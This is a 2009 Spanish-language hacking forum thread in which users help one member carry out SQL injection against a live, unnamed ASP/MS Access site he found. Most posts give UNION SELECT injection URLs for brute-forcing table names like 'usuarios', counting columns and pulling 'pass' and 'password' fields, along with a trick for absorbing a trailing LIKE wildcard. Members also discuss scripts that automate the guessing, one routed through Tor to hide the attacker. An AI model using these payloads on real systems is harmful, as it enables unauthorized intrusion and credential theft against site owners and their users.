Título: dudas/problemas sql injection ms-access Publicado por: kamsky en 14 Septiembre 2009, 17:54 pm Buenas!
Bueno, siempre he tenido "apartado" el tema de sql injection (por pereza :p) dándole prioridad a otras cosas, pero bueno, creo que ya es hora de ponerme... asi que últimamente he estado leyendo bastante y tal, y haciendo pruebas por ahí... bueno, el problema me ha surgido, al encontrarme un sitio que es vulnerable, y que usa MSSQL, pero que no soy capaz de avanzar nada... :S veamos, digamos que la página vulnerable es esta: Código: www.pagina.es/torneo.asp?torneo=09090601 dado que si inserto una simple comilla, me tira esto: Código: www.pagina.es/torneo.asp?torneo=09090601' de ahí deduzco que es vulnerable, y que la sentencia SQL debe ser algo como... Citar select ... from ... where cdgo_torneo LIKE 'numerito%' ... donde el % significa que 0 o más caracteres a continuación del id_torneo, hasta aquí bien... intento algo como: Código: www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1-- por lo que parece que el having se lo pasa por el forro... intento meter algún paréntesis por si en el Where lo hubiera o algo...: Código: www.pagina.es/torneo.asp?torneo=09090601')%20having%201=1-- he probado con comillas dobles, con puntos y coma en vez del doble guión...y no llego a nada en claro :S lo "máximo" que he conseguido es sacar otro tipo de error (con ; en vez de --) a parte de los 2 que puse antes: Código: www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1; alguna sugerencia/idea/recomendación ??¿¿ :huh: gracias y salu2 a todos Título: Re: dudas/problemas sql injection mssql Publicado por: MagnoBalt en 14 Septiembre 2009, 20:37 pm Hola kamsky, esa web que estas inyectando tiene un MS-ACCESS, por lo cual con la clausula Having no vas a poder inyectar nada, ya que esa tecnica se usa para los SQL Server. De todos modos intentadolo con UNION.
Por ejemplo: 1) Intentar brutear una posible tabla. de esta forma www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1 from usuarios Si la tabla usuarios no existe te arrojara un error algo similar a esto The Microsoft Jet database engine cannot find the input table or query 'usuarios'. Make sure it exists and that its name is spelled correctly. Ahora entonces intenta con otra tabla hasta que te tire un error de que la cantidad de columnas para UNION no conincide.. Seria algo asi The number of columns in the two selected tables or queries of a union query do not match. 2) Ahora tenes que encontrar la cantidad de columnas www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2 from usuarios www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3 from usuarios . . www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3,.....,n from usuarios Hasta que no haya error y puedas ver algunos numeros q colocaste de constantes en la busqueda de columnas 3) Y ahora solo queda brutear las posibles Columnas de la tabla encontrada www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,pass,....,n from usuarios Donde pass es la columna, si exisitiera podras ver el valor que contiene pass.. Y asi intentar con otra columnas hasta encontrar www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,password,....,n from usuarios . . ETC Espero averte ayudado asi es como yo inyhecto en ACCESS. Si alguien conoce otra forma, que la muestre Saludos Título: Re: dudas/problemas sql injection mssql Publicado por: kamsky en 14 Septiembre 2009, 22:34 pm vale, voy a intentar con Union, pero he hecho unas cuantas pruebas, y el asunto está en que no se como colocar la dichosa comita:' para que no me tire error...
al igual que antes con el having, he probado con: ', ", ), ; , -- , ... pero nada, lo ponga como lo ponga, error de sintaxis o similares... :huh: lo que creo que me está dando problemas es el maldito: % Citar Syntax error in query expression 'cdgo_torneo LIKE '' OR 1=1%''. en este caso de arriba, inserté una comilla simple, y el OR 1=1, pero siempre aparece el %...y por más que busco no encuentro algo tipo: -- , que sirva para comentar el resto... y si pongo un punto y coma después de lo que inyecto, da error, porque dice que hay caracteres después de la sentencia sql..probé a poner el null byte despues del punto y coma, pero ni así... :huh: Título: Re: dudas/problemas sql injection mssql Publicado por: kamsky en 14 Septiembre 2009, 23:07 pm parece que finalmente con el %00 (null byte), si que "funciona", pero no me da el error que comentas, si no otro...:
Citar torneo.asp?torneo='+UNION+SELECT+TOP 1+1+from+usuarios [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause. torneo.asp?torneo=' UNION SELECT 1,1,1 FROM usuarios [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause. no se si ese error es porque la tabla no existe, o simplemente porque como pone , hay un error de sintaxis...si fuera este último caso... que hay mal!!??? Título: Re: dudas/problemas sql injection mssql Publicado por: tomrian en 14 Septiembre 2009, 23:37 pm La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %.
Te tiro un ejemplo: Código: ' UNION SELECT TOP 1 1,2,3,4 from tabla_que_encontraste where '1' LIKE '1 -Aah y por cierto, aca te dejo algunas páginas que hablan de este tipo de inyecciones: http://www.xuexi123.net/chm/MS%20Access%20SQL%20Injection%20Cheat%20Sheet.htm http://seclists.org/pen-test/2003/May/0074.html Título: Re: dudas/problemas sql injection mssql Publicado por: kamsky en 14 Septiembre 2009, 23:44 pm ouuuuuuuu yeah! ;)
parece que ya voy por el buen camino, gracias!!! por cierto, justo habia encontrado la "chuleta" para ms-access! p.d.: es un poco "peñazo" lo de tener que "adivinar" las tablas o aplicarle brute-force, pero es lo que toca!! gracias de nuevo Título: Re: dudas/problemas sql injection ms-access Publicado por: kamsky en 15 Septiembre 2009, 03:06 am bueno, me he hecho un mini-script en bash, porque es un toston andar palabra por palabra a ver si suena la flauta :P, asi que lo he automatizado un poco
el script pide la url donde se quiere inyectar (incluyendo variable, con el =, pero sin valor), un diccionario a usar para el bruteforce, un archivo de salida donde mostrar los resultados, y opcionalmente un trozo de sentencia sql para validar la sentencia completa (vamos, lo que me puso tomrian en su post!: Citar La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %. )Y a continuación, pues básicamente se dedica a inyectar, y a recoger los "errores" tirados por la inyección en el fichero de log Por cierto, está programado para que use algún server socks (en mi caso Tor), para anonimizar nuestra consulta, ya que es bastante canteosa... :p no es nada eficiente, asi que esta un buennnnnnn rato, pero a mi por lo menos me ha funcionado os pego el code, si alguien le apetece mejorarlo (ya que empeorarlo creo que es imposible :p), tiene total libertad, pero si lo haceis, me gustaría que me avisarais (más que nada para la próxima vez tener alguna herramienta decente y no esta basurilla :P) Código: #!/bin/bash salu2 Título: Re: dudas/problemas sql injection ms-access Publicado por: tomrian en 15 Septiembre 2009, 03:37 am Te funciona ? No tengo ahora tiempo para probarlo :P
Título: Re: dudas/problemas sql injection ms-access Publicado por: MagnoBalt en 15 Septiembre 2009, 06:39 am Hola bro si con el Null byte es para anular la inyeccion me olvide de comentarte.. eso. Y habia hecho uno tambien para encontrar las tablas en perl pero esta maso no mas le faltaba mucho mas cosas y deje a media. Pero para la pagina que estaba auditando me resulto perfecto...
Access Injection SQL Código
Citar [-]Buscando Tablas
[-]Ingrese Maximo con cual intentar 15 [-]Buscando.. [!] Fallo intento columna 1 [!] Fallo intento columna 2 [!] Fallo intento columna 3 [!] Fallo intento columna 4 [-]Bruteando las columnas [-]Ingrese Tabla a la cual brutear: accesos
Título: Re: dudas/problemas sql injection ms-access Publicado por: kamsky en 15 Septiembre 2009, 11:54 am la verdad que tu script está más completo, pero es que yo estuve... 5 minutos??:P
lo que creo que tiene bueno el mio, es el uso de socks para anonimizar la inyección como ya dije y quizás también, que al tirar de diccionario, hay más probabilidades de encontrar la tabla correcta, pero también hace que sea mas lentoooooooo :o @ tomrian: si si, funciona, te lo aseguro :p Título: Re: dudas/problemas sql injection ms-access Publicado por: MagnoBalt en 15 Septiembre 2009, 16:27 pm Si tenes un buen diccionario publicalo asi lo mejoro al mio
Gracias Título: Re: dudas/problemas sql injection ms-access Publicado por: kamsky en 15 Septiembre 2009, 16:44 pm usé los que te puedes bajar para openoffice, los hay en mil idiomas, asi que todo es adecuarlo al caso...
probé tu script y no me resuelve el nombre de la tabla... :-[ |